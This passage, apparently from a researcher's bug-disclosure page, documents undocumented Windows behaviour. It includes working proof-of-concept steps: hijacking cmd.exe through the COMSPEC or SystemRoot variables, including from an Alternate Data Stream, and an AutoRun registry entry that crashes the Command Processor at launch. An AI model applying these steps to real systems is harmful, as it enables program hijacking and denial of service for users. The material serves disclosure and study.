NTFS
Alternate Data Stream
that contains an arbitrary application, then execute the console
application quirk3.exe
a third time to show
undocumented behaviour:
SET COMSPEC=.\quirk3.bat:Zone.Identifier TYPE "%SystemRoot%\System32\Reg.exe" 1>"%COMSPEC%" .\quirk3.exe
Child process loaded from image file 'C:\Users\Stefan\Desktop\quirk3.bat:Zone.Identifier' Child process 6252 with primary thread 6096 created ERROR: Invalid Argument/Option - '/c'. Type "REG /?" for usage. Primary thread 6096 of child process 6252 exited with code 1 Child process 6252 exited with code 1OUCH³: the Win32 function
CreateProcess()
evaluates the environment variable COMSPEC
and executes
an arbitrary (rogue) application also from an
Alternate Data Stream!
Remove the environment variable COMSPEC
, then execute
the console application quirk3.exe
a fourth time to
show undocumented behaviour:
SET COMSPEC= .\quirk3.exe
Child process loaded from image file 'C:\Windows\SysWOW64\cmd.exe' Child process 5436 with primary thread 5916 created C:\Windows\system32\cmd.exe /c .\Quirk3.bat Primary thread 5916 of child process 5436 exited with code 0 Child process 5436 exited with code 0Oops: the Win32 function
CreateProcess()
finds the Command Processor even when
the environment variable COMSPEC
is not set!
Copy an arbitrary application (or an empty file) as
CMD.EXE
into the current directory, then execute the
console application quirk3.exe
a fifth time to show
that it doesn’t execute CMD.EXE
from its
application directory
, i.e. doesn’t search the path:
COPY "%SystemRoot%\System32\Reg.exe" CMD.EXE .\quirk3.exe
Child process loaded from image file 'C:\Windows\SysWOW64\cmd.exe' Child process 5720 with primary thread 6184 created C:\Windows\system32\cmd.exe /c .\Quirk3.bat Primary thread 6184 of child process 5720 exited with code 0 Child process 5720 exited with code 0
Create a subdirectory System32\
in the current
directory, copy an arbitrary application as CMD.EXE
into it and set the environment variable SystemRoot
to
the current directory, then execute the console application
quirk3.exe
a last time to show more undocumented
behaviour:
MKDIR System32 MOVE CMD.EXE System32 SET SystemRoot=%CD% .\quirk3.exe
Child process loaded from image file 'C:\Users\Stefan\Desktop\System32\CMD.EXE' Child process 5372 with primary thread 5448 created ERROR: Invalid Argument/Option - '/c'. Type "REG /?" for usage. Primary thread 5448 of child process 5372 exited with code 1 Child process 5372 exited with code 1OUCH⁴: if the environment variable
COMSPEC
is not set the Win32 function
CreateProcess()
evaluates the environment variable SystemRoot
and
executes an arbitrary (rogue) application from the path
%SystemRoot%\System32\Cmd.exe
!
COMSPEC
or SystemRoot
pointing to an arbitrary
UNC path is left as
an exercise to the reader!
Note: an evaluation of the (mis)behaviour with the
Win32 functions
CreateProcessAsUser()
,
CreateProcessWithLogonW()
and
CreateProcessWithTokenW()
is left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
COMSPEC
or
SystemRoot
is a well-known weakness,
documented as
CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
and
CWE-73: External Control of File Name or Path
in the
CWE™;
it allows well-known attacks like
CAPEC-13: Subverting Environment Variable Values
documented in the
CAPEC™.
Set
command of the Command Processor
states:
Ouch: there are no
The characters <, >, |, &, ^ are special command shell characters, and they must be preceded by the escape character (^) or enclosed in quotation marks when used in String (for example, "StringContaining&Symbol"). If you use quotation marks to enclose a string that contains one of the special characters, the quotation marks are set as part of the environment variable value.
[…]
The following table lists the operators supported for /a in descending order of precedence.
Operator Operation performed ( )
Grouping ! ~ -
Unary * / %
Arithmetic + -
Arithmetic << >>
Logical shift &
Bitwise AND ^
Bitwise exclusive OR |
Bitwise OR = *= /= %= += -= &= ^= |= <<= >>=
Assignment ,
Expression separator If you use logical (&& or ||) or modulus (%) operators, enclose the expression string in quotation marks. Any non-numeric strings in the expression are considered environment variable names, and their values are converted to numbers before they are processed. If you specify an environment variable name that is not defined in the current environment, a value of zero is allotted, which allows you to perform arithmetic with environment variable values without using the % to retrieve a value.
If you run set /a from the command line outside of a command script, it displays the final value of the expression.
Numeric values are decimal numbers unless prefixed by 0x for hexadecimal numbers or 0 for octal numbers. Therefore, 0x12 is the same as 18, which is the same as 022.
&&
or
||
(logical) operators!
Start the Command Processor, then run the following command lines to remove all environment variables and list what’s left:
REM Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de> CHDIR /D "%ALLUSERSPROFILE%" FOR /F "Delims==" %? IN ('SET') DO @SET %?= CMD.EXE /C EXIT 123 SET "Note: the command lines can be copied and pasted as block into a Command Processor window.
=C:=C:\ProgramData =ExitCode=0000007B =ExitCodeAscii={Note: the undocumented command
SET "
alias SET ""
alias
SET "‹any number of spaces›"
lists all (regular) environment variables,
including the undocumented internal environment variables whose name
starts with an equal sign =
.
Show some more undocumented environment variables plus strange (mis)behaviour:
DPATH .;.. KEYS OFF SET IF DEFINED __APPDIR__ ECHO Environment variable '__APPDIR__' is defined! ECHO '%__APPDIR__%' SET __APPDIR__ IF NOT DEFINED __CD__ ECHO Environment variable '__CD__' is not defined! ECHO '%__CD__%' SET __CD__ SET __CD__=quirk SET __CD__ ECHO '%__CD__%' SET NUMBER_OF_PROCESSORS IF DEFINED NUMBER_OF_PROCESSORS ECHO Environment variable 'NUMBER_OF_PROCESSORS' is defined! ECHO '%NUMBER_OF_PROCESSORS%' SET NUMBER_OF_PROCESSORS=quirk SET NUMBER_OF_PROCESSORS ECHO '%NUMBER_OF_PROCESSORS%'
DPATH=.;.. KEYS=OFF Environment variable '__APPDIR__' is defined! 'C:\Windows\system32\' Environment variable __APPDIR__ not defined 'C:\ProgramData\' Environment variable __CD__ not defined __CD__=quirk 'C:\ProgramData\' Environment variable NUMBER_OF_PROCESSORS not defined Environment variable 'NUMBER_OF_PROCESSORS' is defined! '2' NUMBER_OF_PROCESSORS=quirk '2'Note: the undocumented internal commands
DPATH
and KEYS
set the undocumented
process environment variables of the same name!
Oops: the undocumented (dynamic) environment
variables __APPDIR__
, __CD__
and
NUMBER_OF_PROCESSORS
are both defined and not defined
– like a qubit this quirk exhibits a quantum superposition!
Note: the undocumented (dynamic) environment
variables __APPDIR__
, __CD__
and
NUMBER_OF_PROCESSORS
are created (read-only) deep down
in the bowels of NTDLL.dll
; they
are evaluated by the Win32 functions
ExpandEnvironmentStrings()
,
ExpandEnvironmentStringsForUser()
and
GetEnvironmentVariable()
even if a regular environment variable of the same name exists!
OUCH: a fresh set (regular) environment variable
NUMBER_OF_PROCESSORS
shows two different values –
again a quantum superposition!
Note: for the dynamic environment variables
CMDCMDLINE
, CMDEXTVERSION
and
ERRORLEVEL
provided by the
Command Processor, the documentation
for its internal
If
command correctly states that their presence is
reported by IF DEFINED
and that they are obscured by
eventually set (regular) environment variables with the same name;
this applies also to the other dynamic environment variables
provided by the Command Processor,
CD
, DATE
,
HIGHESTNUMANODENUMBER
,
RANDOM
and TIME
.
Add some environment variables and list them all:
SET !=exclamation mark SET #=hash sign SET $=dollar sign SET %=percent sign SET ^&=ampersand SET '=apostrophe SET (=left parenthesis SET )=right parenthesis SET *=asterisk SET +=plus sign SET ,=comma SET -=minus sign SET .=dot SET /=slash SET 0=zero SET 1=one SET 2=two SET 3=three SET 4=four SET 5=five SET 6=six SET 7=seven SET 8=eight SET 9=nine SET :=colon SET ;=semicolon SET ^<=less than SET ==equal sign SET ^>=greater than SET ?=question mark SET @=at sign SET [=left bracket SET \=backslash SET ]=right bracket SET ^^=caret SET _=underscore SET `=backtick SET {=left brace SET ^|=vertical bar SET }=right brace SET ~=tilde SET
!=exclamation mark #=hash sign $=dollar sign %=percent sign &=ampersand '=apostrophe (=left parenthesis )=right parenthesis *=asterisk +=plus sign ,=comma -=minus sign .=dot Syntax error 0=zero 1=one 2=two 3=three 4=four 5=five 6=six 7=seven 8=eight 9=nine :=colon ;=semicolon <=less than Syntax error >=greater than ?=question mark @=at sign [=left bracket \=backslash ]=right bracket ^=caret _=underscore `=backtick {=left brace |=vertical bar }=right brace ~=tildeOops: except for
=
and /
, which are rejected (as expected:
=
terminates a variable name and
/=…
is an invalid switch) with an error message,
all printable non-alphabetical
ASCII
characters are accepted as valid variable names!
Note: an evaluation of the (mis)behaviour for single character variable names beyond the 7-bit ASCII code is left as an exercise to the reader.
Evaluate environment variables with special command shell characters
in their name with delayed expansion
enabled:
ECHO %%% ECHO %^&% ECHO %^<% ECHO %^>% ECHO %^^% ECHO %^|% ECHO !%! ECHO !^&! ECHO !^<! ECHO !^>! ECHO !^^! ECHO !^|! FOR /F "Delims==" %? IN ('SET') DO @SET %?= SET "/=slash" SET "/ =slash, blank" SET " / =blank, slash, blank" SET ECHO %/% ECHO %/ % ECHO % / % ECHO %;%
%%% %&% %<% %>% %^% %|% percent sign ampersand less than greater than caret vertical bar /=slash / =blank, slash, blank ;=semicolon slash blank, slash, blank % / % semicolonOuch: expansion of variables named
%
,
&
,
<
,
>
, ^
and |
fails when enclosed in
percent signs, i.e. with standard expansion; they have to be
enclosed in exclamation marks instead, i.e. must use
delayed expansion!
Note: enclosed in quotation marks,
/
is finally accepted as environment
variable name!
Oops: (ab)using quotation marks, the internal
Set
command accepts variable names with trailing blanks, but strips
leading blanks!
Evaluate some numerical values:
SET quirk=0xFFFFFFFF SET /A quirk SET quirk=0x80000000 SET /A quirk SET quirk=4294967295 SET /A quirk SET quirk=2147483647 SET /A quirk SET quirk=-2147483648 SET /A quirk SET quirk=-2147483649 SET /A quirk SET quirk=-4294967296 SET /A quirk SET quirk=-0xFFFFFFFF SET /A quirk SET quirk=
2147483647 2147483647 2147483647 2147483647 -2147483648 -2147483648 -2147483648 -2147483648Note: contrary to its documentation cited above,
SET /A
works without variable name and assignment
operator on the left side of an expression!
OUCH: when read from an environment variable, positive (hexadecimal) values greater than 2147483647, the largest signed 32-bit integer, are clamped to 2147483647, and negative (hexadecimal) values smaller than −2147483648, the smallest signed 32-bit integer, are clamped to −2147483648!
Evaluate the numerical value of three of the (documented) dynamic environment variables:
ECHO %CMDEXTVERSION% SET /A CMDEXTVERSION CMD.EXE /C EXIT 123 ECHO %ERRORLEVEL% SET /A ERRORLEVEL ECHO %RANDOM% SET /A RANDOM
2 0 123 0 27457 0Oops: contrary to the second highlighted part of the documentation cited above,
SET /A
fails to
evaluate dynamic environment variables!
Perform some basic arithmetic operations:
SET /A 65536 * 65536 SET /A -65536 * 65536 SET /A -65536 * -65536 SET /A -32768 * -65536 SET /A -32768 * 65536 SET /A 32768 * 65536 SET /A 32768 * 65536 - 1 SET /A 32768 * 65536 + 32768 * 65536
0 0 0 -2147483648 -2147483648 -2147483648 2147483647 0Oops: 65536 × 65536 is equal to −65536 × 65536, −65536 × −65536 and 32768 × 65536 + 32768 × 65536, while 32768 × 65536 is equal to −32768 × 65536 and −32768 × −65536, i.e. signed integer overflow wraps around.
Perform some basic logical operations:
SET /A 1 ^<^< 31 SET /A 1 ^<^< 31 ^>^> 30 SET /A 1 ^<^< 32 SET /A -1 ^>^> 33
-2147483648 -2 0 -1OUCH: contrary to the documentation cited above, the operator
>>
performs an
arithmetic (right) shift instead of a
logical shift, i.e. it propagates the sign bit to
the right!
Oops: the shift count is not limited to the width of the numbers!
Finally show the bug:
SET /A -2147483648 SET /A ~2147483647 SET /A ~2147483647 / -1 SET /A ~2147483647 % -1
Invalid number. Numbers are limited to 32-bits of precision.
-2147483648
Invalid number. Numbers are limited to 32-bits of precision.
Oops: although valid, a literal −2147483648,
the smallest signed 32-bit integer, is reported as
invalid number.
OUCH: on systems with i386 or AMD64 processor, the Command Processor crashes with an integer overflow exception 0xC0000095 computing the modulus of −2147483648 ÷ −1 (which happens to be 0, the only number smaller in magnitude than the divisor −1)!
Note: dividing −2147483648, the smallest
signed 32-bit integer, by −1 yields the quotient 2147483648,
which is but not representable as signed 32-bit
integer and therefore produces an overflow (really: raises a
divide error exception
alias #DE
) that the
Command Processor fails to handle, i.e.
neither prevents nor catches for the modulus operator, while it does
so for the division operator!
Note: integer overflow and failure to catch the eventually resulting exception are well-known weaknesses, documented as CWE-190: Integer Overflow or Wraparound and CWE-248: Uncaught Exception in the CWE™; they allow well-known attacks like CAPEC-92: Forced Integer Overflow documented in the CAPEC™.
Cmd.exe
states:
By setting one or both of these registry entries to (for example) the value
Parameter Description … … /d Disables execution of AutoRun commands. /a Formats internal command output to a pipe or a file as American National Standards Institute (ANSI). /u Formats internal command output to a pipe or a file as Unicode. […]
If you don't specify /d […], Cmd.exe looks for the following registry subkeys:
If one or both registry subkeys are present, they're executed before all other variables.
HKEY_LOCAL_MACHINE\Software\Microsoft\Command Processor\AutoRun\REG_SZ
HKEY_CURRENT_USER\Software\Microsoft\Command Processor\AutoRun\REG_EXPAND_SZ
SET /A ~2147483647 % ~0
or the value
SET /A "(1 << 31)" % -1
, this 28 (in
words: twenty-eight) year old bug (really:
absolute beginner’s programming error) can
trivially be (ab)used to conduct a denial of serviceattack against the Command Processor and crash it upon launch, thus disabling its use for single or all users of a machine:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Command Processor]
"AutoRun"="SET /A ~2147483647 % ~0"
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Command Processor]
"AutoRun"="SET /A \"(1 << 31)\" % -1"
They replied with the following bullshit statement:
Though engineering confirmed the crash in this case, it was assessed as a Low severity DoS.OUCH: unprivileged users can write the
Their reasoning centers around the requirement to have admin privileges to pull off the attack.
AutoRun
registry entry in their
HKEY_CURRENT_USER\Software\Microsoft\Command Processor
registry key, and they can insert the command
SET /A "(1 << 31)" % ~0
or
SET /A ~2147483647 % -1
in every batch script they are
able to (over)write!
Will engineering
ever learn to use their Windows
PCs as unprivileged
users?
Echo
command of the Command Processor
specifies:
RemarksThe documentation for the internal[…]
When inside a block terminated by parentheses (
()
), both opening and closing parentheses must also be escaped using the caret (^
) immediately before each one. For example,This is ^(now^) correct
will correctly displayThis is (now) correct
.
If
command of the Command Processor
specifies:
Oops: the example proves the highlighted statement wrong!Examples
- You must use the else clause on the same line as the command after the if.
[…]
To delete the file Product.dat from the current directory or display a message if Product.dat is not found, type the following lines in a batch file:
IF EXIST Product.dat ( del Product.dat ) ELSE ( echo The Product.dat file is missing. )
Note
These lines can be combined into a single line as follows:
IF EXIST Product.dat (del Product.dat) ELSE (echo The Product.dat file is missing.)
Execute the ECHO
command line from the documentation
cited above with only the inner closing parenthesis escaped:
(ECHO This is (also^) correct)
This is (also) correctOops: contrary to the highlighted statement of the first documentation cited above, the inner opening parenthesis doesn’t need to be escaped!
Execute the following ECHO
command lines referencing an
environment variable with both, one or no inner parentheses escaped:
(ECHO %CommonProgramFiles^(x86^)% but fails to evaluate the variable!) (ECHO %CommonProgramFiles(x86^)% also fails to evaluate the variable!) (ECHO %CommonProgramFiles(x86)% fails miserably!)Note: the command lines can be copied and pasted as block into a Command Processor window.
%CommonProgramFiles(x86)% but fails to evaluate the variable!
%CommonProgramFiles(x86)% also fails to evaluate the variable!
"\Common" cannot be processed syntactically at this point.
OOPS: contrary to the highlighted statement of the
first documentation cited above, this example but fails!
OUCH: the last command line is reparsed after environment variable expansion and fails due to the expanded parentheses!
Execute an IF … ELSE …
command block and
evaluate the (system) environment variable
ProgramFiles(x86)
in its then
clause:
IF DEFINED ProgramFiles(x86) ( ECHO %ProgramFiles(x86)% bug ) ELSE ( ECHO %ProgramFiles% )
"bug)" cannot be processed syntactically at this point.
Combine the command block from step 1. into a single line:
IF DEFINED ProgramFiles(x86) (ECHO %ProgramFiles(x86)% bug) ELSE (ECHO %ProgramFiles%)
"bug)" cannot be processed syntactically at this point.
Invert the condition of the IF
clause and swap the
then
clause with the ELSE
clause:
IF NOT DEFINED ProgramFiles(x86) (ECHO %ProgramFiles%) ELSE (ECHO %ProgramFiles(x86)% bug)
"bug)" cannot be processed syntactically at this point.
Enable delayed (environment variable) expansion and repeat step 2. with exclamation marks instead of the percent signs:
SETLOCAL ENABLEDELAYEDEXPANSION (ECHO !CommonProgramFiles^(x86^)! is evaluated now!) (ECHO !CommonProgramFiles(x86^)! is evaluated now!) (ECHO !CommonProgramFiles(x86)! fails but miserably too!)
C:\Program Files (x86)\Common Files is evaluated now!
C:\Program Files (x86)\Common Files is evaluated now!
"!" cannot be processed syntactically at this point.
OUCH: the parser is severely broken – parentheses inside a pair of exclamation marks enclosing an environment variable don’t terminate an outer block!
Drop the (here superfluous) parentheses around the single command of
the ELSE
clause from step 5.:
IF NOT DEFINED ProgramFiles(x86) (ECHO %ProgramFiles%) ELSE ECHO %ProgramFiles(x86)%
C:\Program Files (x86)
Enable delayed (environment variable) expansion and escape the closing parenthesis:
SETLOCAL ENABLEDELAYEDEXPANSION IF DEFINED ProgramFiles(x86) (ECHO !ProgramFiles(x86^)!) ELSE (ECHO %ProgramFiles%)
C:\Program Files (x86)
Each process has an environment block associated with it. The environment block consists of a null-terminated block of null-terminated strings (meaning there are two null bytes at the end of the block), where each string is in the form:The Win32 functionsname=value
All strings in the environment block must be sorted alphabetically by name. The sort is case-insensitive, Unicode order, without regard to locale. Because the equal sign is a separator, it must not be used in the name of an environment variable.
SetEnvironmentStrings()
,
SetEnvironmentVariable()
and
GetEnvironmentVariable()
are documented in the
MSDN as
follows:
Sets the environment strings of the calling process (both the system and the user environment variables) for the current process.Note: this function was introduced with Windows Server 2003, but remained undocumented for almost 18 (in words: eighteen) years.[…]BOOL SetEnvironmentStrings( LPWCH NewEnvironment );
The environment variable string using the following format:
Var1 Value1 Var2 Value2 Var3 Value3 VarN ValueN
Sets the contents of the specified environment variable for the current process.[…]BOOL SetEnvironmentVariable( LPCTSTR lpName, LPTSTR lpValue );
lpName
The name of the environment variable. The operating system creates the environment variable if it does not exist and lpValue is not NULL.
lpValue
The contents of the environment variable. […]
If this parameter is NULL, the variable is deleted from the current process's environment.
[…]
If the function succeeds, the return value is nonzero.
If the function fails, the return value is zero. To get extended error information, call GetLastError.
Retrieves the contents of the specified variable from the environment block of the calling process.Note: designed and implemented properly, this function would return the value of[…]DWORD GetEnvironmentVariable( LPCTSTR lpName, LPTSTR lpBuffer, DWORD nSize );
nSize
The size of the buffer pointed to by the lpBuffer parameter, including the null-terminating character, in characters. […]
If the function fails, the return value is zero. If the specified environment variable was not found in the environment block, GetLastError returns
ERROR_ENVVAR_NOT_FOUND
.
nSize
instead of 0
for failure, supporting successful retrieval of empty environment
variables!
In addition to the quirk bug demonstrated
below, the documentation fails to tell that lpBuffer
can be 0 alias NULL
if nSize
is 0 too.
It also exhibits a very common mistake that is
present in many other
MSDN articles
too: there is no null-terminating character
, but a
(string-)terminating
alias
NUL
(string-)terminating null character
!
Create the text file quirk10.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2024, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szName[] = {L"FIRMWARE_TYPE", L"NUMBER_OF_PROCESSORS",
L"__APPDIR__", L"__CD__",
L"=ExitCode", L"", NULL,
L"=ExitCode", L""};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szValue[123];
DWORD dwValue;
DWORD dwName = 0;
DWORD dwError = ERROR_SUCCESS;
DWORD dwString;
LPWSTR lpString;
LPWSTR lpBlock;
HANDLE hConsole = GetStdHandle(STD_ERROR_HANDLE);
if (hConsole == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
SetLastError(123456789);
do
if (szName[dwName] != NULL)
{
if (!SetEnvironmentVariable(szName[dwName], dwName % 2 == 0 ? L"" : NULL))
PrintConsole(hConsole,
L"SetEnvironmentVariable(\"%ls\", %ls) returned error %lu\n",
szName[dwName], dwName % 2 == 0 ? L"\"\"" : L"NULL", dwError = GetLastError());
else
PrintConsole(hConsole,
L"SetEnvironmentVariable(\"%ls\", %ls) succeeded\n",
szName[dwName], dwName % 2 == 0 ? L"\"\"" : L"NULL");
dwValue = GetEnvironmentVariable(szName[dwName],
szValue,
sizeof(szValue) / sizeof(*szValue));
if (dwValue == 0)
PrintConsole(hConsole,
L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned error %lu\n",
szName[dwName], szValue, sizeof(szValue) / sizeof(*szValue), dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned value \'%ls\' of %lu characters\n",
szName[dwName], szValue, sizeof(szValue) / sizeof(*szValue), szValue, dwValue);
}
while (++dwName < sizeof(szName) / sizeof(*szName));
dwValue = GetEnvironmentVariable((LPCWSTR) NULL,
(LPCWSTR) NULL,
0);
if (dwValue == 0)
PrintConsole(hConsole,
L"GetEnvironmentVariable(NULL, NULL, 0) returned error %lu\n",
dwError = GetLastError());
if (!SetEnvironmentStrings(L"__CD__=..\\*\0__APPDIR__=.\\?\0NUMBER_OF_PROCESSORS=\0FIRMWARE_TYPE=€\0"))
PrintConsole(hConsole,
L"SetEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
else
{
lpBlock = GetEnvironmentStrings();
if (lpBlock == NULL)
PrintConsole(hConsole,
L"GetEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
else
{
for (lpString = lpBlock;
lpString[0] != L'\0';
lpString[dwString = wcslen(lpString)] = L'\n', lpString += dwString + 1)
continue;
if (!WriteConsole(hConsole, lpBlock, lpString - lpBlock, &dwString, NULL))
PrintConsole(hConsole,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else
if (dwString != lpString - lpBlock)
dwError = ERROR_WRITE_FAULT;
if (!FreeEnvironmentStrings(lpBlock))
PrintConsole(hConsole,
L"FreeEnvironmentStrings() returned error %lu\n",
dwError = GetLastError());
}
dwName = 0;
SetLastError(123456789);
do
{
dwValue = GetEnvironmentVariable(szName[dwName],
szValue,
sizeof(szValue) / sizeof(*szValue));
if (dwValue == 0)
PrintConsole(hConsole,
L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned error %lu\n",
szName[dwName], szValue, sizeof(szValue) / sizeof(*szValue), dwError = GetLastError());
else
PrintConsole(hConsole,
L"GetEnvironmentVariable(\"%ls\", 0x%p, %tu) returned value \'%ls\' of %lu characters\n",
szName[dwName], szValue, sizeof(szValue) / sizeof(*szValue), szValue, dwValue);
}
while (szName[++dwName] != NULL);
}
if (!CloseHandle(hConsole))
PrintConsole(hConsole,
L"CloseHandle() returned error %lu\n",
GetLastError());
}
ExitProcess(dwError);
}
Build the console application quirk10.exe
from the
source file quirk10.c
created in step 1.:
SET CL=/GAFy /Oisy /W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE quirk10.c kernel32.lib user32.libFor details and reference see the MSDN articles Compiler Options and Linker Options.
Note: if necessary, see the MSDN article Use the Microsoft C++ toolset from the command line for an introduction.
Note: quirk10.exe
is a pure
Win32 console application and builds without the
MSVCRT
libraries.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. quirk10.c quirk10.c(112) : warning C4389: '!=' : signed/unsigned mismatch Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:quirk10.exe quirk10.obj kernel32.lib user32.lib
Execute the console application quirk10.exe
built in
step 2. to demonstrate the (mis)behaviour:
VER .\quirk10.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Microsoft Windows [Version 6.1.7601] SetEnvironmentVariable("FIRMWARE_TYPE", "") succeeded GetEnvironmentVariable("FIRMWARE_TYPE", 0x0042F70C, 123) returned error 123456789 SetEnvironmentVariable("NUMBER_OF_PROCESSORS", NULL) succeeded GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x0042F70C, 123) returned value '4' of 1 characters SetEnvironmentVariable("__APPDIR__", "") succeeded GetEnvironmentVariable("__APPDIR__", 0x0042F70C, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("__CD__", NULL) succeeded GetEnvironmentVariable("__CD__", 0x0042F70C, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("=ExitCode", "") succeeded GetEnvironmentVariable("=ExitCode", 0x0042F70C, 123) returned error 123456789 SetEnvironmentVariable("", NULL) returned error 87 GetEnvironmentVariable("", 0x0042F70C, 123) returned error 203 SetEnvironmentVariable("=ExitCode", NULL) succeeded GetEnvironmentVariable("=ExitCode", 0x0042F70C, 123) returned error 203 SetEnvironmentVariable("", "") returned error 87 GetEnvironmentVariable("", 0x0042F70C, 123) returned error 203 GetEnvironmentVariable(NULL, NULL, 0) returned error 203 __CD__=..\* __APPDIR__=.\? NUMBER_OF_PROCESSORS= FIRMWARE_TYPE=€ GetEnvironmentVariable("FIRMWARE_TYPE", 0x0042F70C, 123) returned error 123456789 GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x0042F70C, 123) returned value '4' of 1 characters GetEnvironmentVariable("__APPDIR__", 0x0042F70C, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters GetEnvironmentVariable("__CD__", 0x0042F70C, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters GetEnvironmentVariable("=", 0x0042F70C, 123) returned error 203 GetEnvironmentVariable("", 0x0042F70C, 123) returned error 203 0xCB (WIN32: 203 ERROR_ENVVAR_NOT_FOUND) -- 203 (203) Error message text: The system could not find the environment option that was entered. CertUtil: -error command completed successfully.Note: the undocumented (dynamic) environment
FIRMWARE_TYPE
was introduced with
Windows 8 and Windows Server 2012.
Microsoft Windows [Version 10.0.26100.1712] SetEnvironmentVariable("FIRMWARE_TYPE", "") succeeded GetEnvironmentVariable("FIRMWARE_TYPE", 0x00AFFA8C, 123) returned value 'UEFI' of 4 characters SetEnvironmentVariable("NUMBER_OF_PROCESSORS", NULL) succeeded GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x00AFFA8C, 123) returned value '4' of 1 characters SetEnvironmentVariable("__APPDIR__", "") succeeded GetEnvironmentVariable("__APPDIR__", 0x00AFFA8C, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("__CD__", NULL) succeeded GetEnvironmentVariable("__CD__", 0x00AFFA8C, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters SetEnvironmentVariable("=ExitCode", "") succeeded GetEnvironmentVariable("=ExitCode", 0x00AFFA8C, 123) returned error 123456789 SetEnvironmentVariable("", NULL) returned error 87 GetEnvironmentVariable("", 0x00AFFA8C, 123) returned error 203 SetEnvironmentVariable("=ExitCode", NULL) succeeded GetEnvironmentVariable("=ExitCode", 0x00AFFA8C, 123) returned error 203 SetEnvironmentVariable("", "") returned error 87 GetEnvironmentVariable("", 0x00AFFA8C, 123) returned error 203 GetEnvironmentVariable(NULL, NULL, 0) returned error 203 __CD__=..\* __APPDIR__=.\? NUMBER_OF_PROCESSORS= FIRMWARE_TYPE=€ GetEnvironmentVariable("FIRMWARE_TYPE", 0x00AFFA8C, 123) returned value 'UEFI' of 4 characters GetEnvironmentVariable("NUMBER_OF_PROCESSORS", 0x00AFFA8C, 123) returned value '4' of 1 characters GetEnvironmentVariable("__APPDIR__", 0x00AFFA8C, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters GetEnvironmentVariable("__CD__", 0x00AFFA8C, 123) returned value 'C:\Users\Stefan\Desktop\' of 24 characters GetEnvironmentVariable("=", 0x00AFFA8C, 123) returned error 203 GetEnvironmentVariable("", 0x00AFFA8C, 123) returned error 203 0xCB (WIN32: 203 ERROR_ENVVAR_NOT_FOUND) -- 203 (203) Error message text: The system could not find the environment option that was entered. CertUtil: -error command completed successfully.OOPS¹: the undocumented (dynamic) environment variables
__APPDIR__
, __CD__
,
FIRMWARE_TYPE
and NUMBER_OF_PROCESSORS
are
neither read from nor written into the process environment block,
but handled specially; their values are the path names of the
application directoryand the CWD, both with a trailing backslash,
Legacy
or
UEFI
depending on how the computer was booted, and the number of
processor cores.
OUCH¹: for the environment variables
__APPDIR__
, __CD__
,
FIRMWARE_TYPE
and NUMBER_OF_PROCESSORS
,
the Win32 function
SetEnvironmentVariable()
succeeds, but fails to delete them or overwrite their value!
OUCH²: for environment variables with empty
value, the Win32 function
GetEnvironmentVariable()
returns 0, but fails to (re)set the Win32 error code 0
alias
ERROR_SUCCESS
to indicate no error!
OUCH³: contrary to the first documentation
cited above, the Win32 functions
GetEnvironmentVariable()
and
SetEnvironmentVariable()
support an environment variable name containing an equal sign!
OOPS²: while the Win32 function
SetEnvironmentVariable()
returns the Win32 error code 87 alias
ERROR_INVALID_PARAMETER
for an empty variable name, the Win32 function
GetEnvironmentVariable()
returns the Win32 error code 203 alias
ERROR_ENVVAR_NOT_FOUND
instead.
OUCH⁴: contrary to the second documentation
cited above, the format of the environment variable string for the
Win32 function
SetEnvironmentStrings()
is but
‹name›=‹value›\0…\0\0
!
OOPS³: contrary to the first documentation
cited above, the Win32 functions
SetEnvironmentStrings()
,
SetEnvironmentStrings()
and
GetEnvironmentVariable()
support an unsorted environment block!
SetEnvironmentStringsW()
GetTempPath()
and
GetTempFileName()
are documented in the
MSDN as
follows:
Retrieves the path of the directory designated for temporary files.[…]DWORD GetTempPath( DWORD nBufferLength, LPTSTR lpBuffer );
If the function succeeds, the return value is the length, in TCHARs, of the string copied to lpBuffer, not including the terminating null character.
[…]
